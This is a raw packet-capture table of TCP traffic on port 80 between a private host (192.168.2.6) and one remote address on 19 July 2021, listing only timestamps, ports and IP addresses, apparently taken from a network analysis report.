Jul 19, 2021 18:36:21.262731075 CEST	49929	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.265223026 CEST	80	49926	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.267018080 CEST	49926	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.270591974 CEST	80	49927	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.270720959 CEST	49927	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.283766031 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.284020901 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.285139084 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.285162926 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.285180092 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.285203934 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.360548019 CEST	80	49929	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.360649109 CEST	49929	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.361298084 CEST	49929	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.381901979 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.382042885 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.382186890 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.382268906 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.382400990 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.382473946 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.382633924 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.382740974 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.382750988 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.382843971 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.383088112 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.383157015 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.383445024 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.383521080 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.383699894 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.383773088 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.383857965 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.383949041 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.383959055 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.384017944 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.384217024 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.384298086 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.459187984 CEST	80	49929	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.459214926 CEST	80	49929	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.459309101 CEST	49929	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.478115082 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.478140116 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.478243113 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.478358030 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.478358984 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.478373051 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.478499889 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.479623079 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.479746103 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.479815960 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.479872942 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.480048895 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.480165958 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.577328920 CEST	49929	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.579790115 CEST	49930	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.580672979 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.580897093 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.673269987 CEST	80	49930	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.673475981 CEST	49930	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.674551964 CEST	49930	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.675868988 CEST	80	49929	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.675972939 CEST	49929	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.677076101 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.677166939 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.677181959 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.677207947 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.677218914 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.677323103 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.697379112 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.697561979 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:21.767328024 CEST	80	49930	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.779133081 CEST	80	49930	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:21.779381990 CEST	49930	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.166749001 CEST	49930	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.167469025 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.168979883 CEST	49931	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.183839083 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.259772062 CEST	80	49930	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.259933949 CEST	49930	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.262192011 CEST	80	49931	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.262351990 CEST	49931	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.262821913 CEST	49931	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.263420105 CEST	80	49928	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.263515949 CEST	49928	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.263691902 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.263783932 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.264153957 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.264312983 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.264573097 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.264722109 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.344321966 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.344351053 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.344439030 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.344746113 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.344877958 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.344943047 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.345077038 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.345141888 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.345400095 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.345469952 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.345921040 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.345990896 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.346368074 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.346431971 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.346551895 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.346611977 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.347151995 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.347248077 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.347273111 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.347347021 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.347379923 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.347578049 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.355714083 CEST	80	49931	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.355761051 CEST	80	49931	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.355859041 CEST	49931	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.423736095 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.423758984 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.423994064 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.424053907 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.424092054 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.424118042 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.424168110 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.464181900 CEST	49931	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.465770960 CEST	49933	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.466234922 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.466402054 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.547444105 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.547559977 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.550491095 CEST	80	49933	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.550693035 CEST	49933	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.551333904 CEST	49933	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.559772015 CEST	80	49931	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.559917927 CEST	49931	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.567783117 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.567826033 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.567992926 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.629399061 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.634390116 CEST	80	49933	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.634504080 CEST	80	49933	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.634608984 CEST	49933	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.647758007 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.647785902 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.656541109 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.656733990 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.745874882 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.746326923 CEST	49933	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.747927904 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.836067915 CEST	80	49932	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.836206913 CEST	49932	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.836246967 CEST	80	49933	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.836272001 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.836354017 CEST	49933	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.836410046 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.838464975 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:22.923679113 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.923917055 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:22.924164057 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.327888966 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.328377008 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.328409910 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.328571081 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.373853922 CEST	49935	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.411319017 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.411348104 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.412477970 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.412615061 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.412636042 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.412867069 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.413573980 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.413592100 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.413603067 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.413729906 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.414431095 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.414475918 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.414549112 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.414648056 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.414753914 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.414855957 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.415883064 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.415909052 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.416043043 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.457345963 CEST	80	49935	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.457644939 CEST	49935	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.458228111 CEST	49935	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.498116970 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.498167992 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.498394012 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.499782085 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.499805927 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.499819040 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.499833107 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.499887943 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.500053883 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.500144005 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.502652884 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.502808094 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.542272091 CEST	80	49935	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.542299032 CEST	80	49935	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.542399883 CEST	49935	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.581877947 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.582001925 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.583703041 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.583724976 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.583738089 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.583846092 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.583874941 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.585736036 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.585758924 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.587363005 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.587380886 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.587393045 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.587409973 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.587641001 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.587656021 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.587826967 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.588067055 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.588186026 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.657821894 CEST	49935	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.658209085 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.660146952 CEST	49936	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.665093899 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.665127039 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.665184021 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.718422890 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.741231918 CEST	80	49934	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.741364956 CEST	80	49935	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.741450071 CEST	49934	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.741550922 CEST	49935	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.742191076 CEST	80	49936	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.742300034 CEST	49936	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.742993116 CEST	49936	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.800992966 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.801131964 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.801796913 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.801932096 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.802129984 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.802390099 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.825522900 CEST	80	49936	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.836278915 CEST	80	49936	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.836400986 CEST	49936	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.884319067 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.884752989 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.885507107 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.885729074 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.886081934 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.886174917 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.886223078 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.886528015 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.886630058 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.887255907 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.887381077 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.887588024 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.887967110 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.888058901 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.888612986 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.889272928 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.889393091 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.889694929 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.889760971 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.948913097 CEST	49936	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.950706005 CEST	49938	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.968034029 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.968055964 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.968144894 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.969614983 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.969660044 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.969675064 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.969777107 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.969851017 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.969930887 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.969944954 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.969994068 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.970032930 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.971703053 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.972054005 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:23.972151041 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:23.972210884 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.017028093 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.017179966 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.029294968 CEST	80	49938	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.030947924 CEST	49938	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.031761885 CEST	80	49936	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.031851053 CEST	49936	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.032227039 CEST	49938	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.050038099 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.050060987 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.050278902 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.050359964 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.053852081 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.054311991 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.054344893 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.054369926 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.054399014 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.054424047 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.054442883 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.054460049 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.054476976 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.099654913 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.099677086 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.112154007 CEST	80	49938	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.112221956 CEST	80	49938	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.113162041 CEST	49938	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.132340908 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.132364988 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.140336037 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.140841007 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.235603094 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.235965014 CEST	49938	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.236984968 CEST	49939	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.318212986 CEST	80	49939	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.318449974 CEST	49939	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.319847107 CEST	80	49937	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.320619106 CEST	49937	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.321002007 CEST	49939	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.332392931 CEST	80	49938	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.332468033 CEST	49938	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.335442066 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.402290106 CEST	80	49939	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.413594007 CEST	80	49939	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.413917065 CEST	49939	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.418585062 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.420715094 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.421717882 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.421885014 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.422101974 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.422179937 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.527322054 CEST	49939	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.576334953 CEST	49941	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.576658010 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.576730013 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.576766968 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.576819897 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.576855898 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.576868057 CEST	49940	80	192.168.2.6	185.114.247.54
